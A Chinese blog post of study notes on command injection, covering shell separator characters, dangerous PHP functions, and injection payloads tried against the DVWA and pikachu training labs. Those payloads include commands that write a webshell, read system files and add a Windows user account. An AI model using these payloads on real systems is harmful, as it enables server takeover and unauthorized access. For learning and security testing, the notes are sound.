命令执行
命令执行
基础知识
Window
“|” 管道符,前面命令标准输出,后面命令的标准输入
“&” commandA & commandB 先运行命令A然后运行命令B
“||” commandA || commandB 运行命令A,如果失败则运行命令B
“&&” commandA && commandB 运行命令A,如果成功则运行命令B
Linux
“|” 管道符,前面命令标准输出,后面命令的标准输入
“&” commandA & commandB 先运行命令A然后运行命令B
“||” commandA || commandB 运行命令A,如果失败则运行命令B
“&&” commandA && commandB 运行命令A,如果成功则运行命令B
“;” commandA;commandB执行完A执行B
“%0a” 换行符
“%0d” 回车符
注入函数
php
eval(),assert(), system(),preg_replace(), create_function, call_user_func, call_user_func_array,array_map(),反引号,ob_start(),exec(),shell_exec(),passthru(),escapeshellcmd(),popen(),proc_open(),pcntl_exec()
漏洞利用
命令注入漏洞,攻击者直接继承web用户权限,可以在服务器上执行任意命令,危害特别大。以下是几种常见的利用方式,但利用方式不止这些,我们可以进行任何shell可以执行的操作。
-
直接获取webshell
例如可以写入一句话木马: ?cmd=echo "" > D:\phpstudy\WWW\webshell.php
-
显示当前路径
例如可以提交参数 ?cmd=cd 来查看当前路径。
-
读文件
例如:?cmd=type c:\windows\system32\drivers\etc\hosts,来查看系统hosts文件。
-
写文件
例如可以提交参数 ?cmd=echo "" > D:\software\shell.php
实验
DVWA
low级别:
- 127.0.0.1|whoami # 注入命令成功
- 127.0.0.1&whoami # 注入命令成功
- 127.0.0.1&&whoami # 注入命令成功
- 127.0.0.1||whoami # 注入命令成功
medium级别:
- 127.0.0.1|whoami # 注入命令成功
- 127.0.0.1&whoami # 注入命令成功
- 127.0.0.1&&whoami # 注入命令不成功,查看源码发现&&被过滤。
- 127.0.0.1||whoami # 注入命令成功
- 127.0.0.1&;&ipconfig # 注入命令成功
high级别:
- 127.0.0.1|whoami # 注入命令成功,因为源码过滤的是'| '(竖线+空格),故我们不在竖线后加空格就可绕开过滤。
- 127.0.0.1&whoami # 注入命令不成功
- 127.0.0.1&&whoami # 注入命令不成功
- 127.0.0.1||whoami # 注入命令不成功
impossible级别:
- 127.0.0.1|whoami # 注入命令成功
- 127.0.0.1&whoami # 注入命令成功
- 127.0.0.1&&whoami # 注入命令不成功,查看源码发现&&被过滤。
- 127.0.0.1||whoami # 注入命令成功
pikachu
ping
127.0.0.1 | dir
127.0.0.1 & dir
127.0.0.1 || dir
127.0.0.1 && dir
127.0.0.1 & ipconfig
127.0.0.1 | net user hack 123 /add #添加用户
exec
phpinfo();
system("dir");
system("ipconfig");
system("whoami");
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
· 基于Microsoft.Extensions.AI核心库实现RAG应用
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· 开发者必知的日志记录最佳实践
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· AI 智能体引爆开源社区「GitHub 热点速览」
· 三行代码完成国际化适配,妙~啊~
· .NET Core 中如何实现缓存的预热?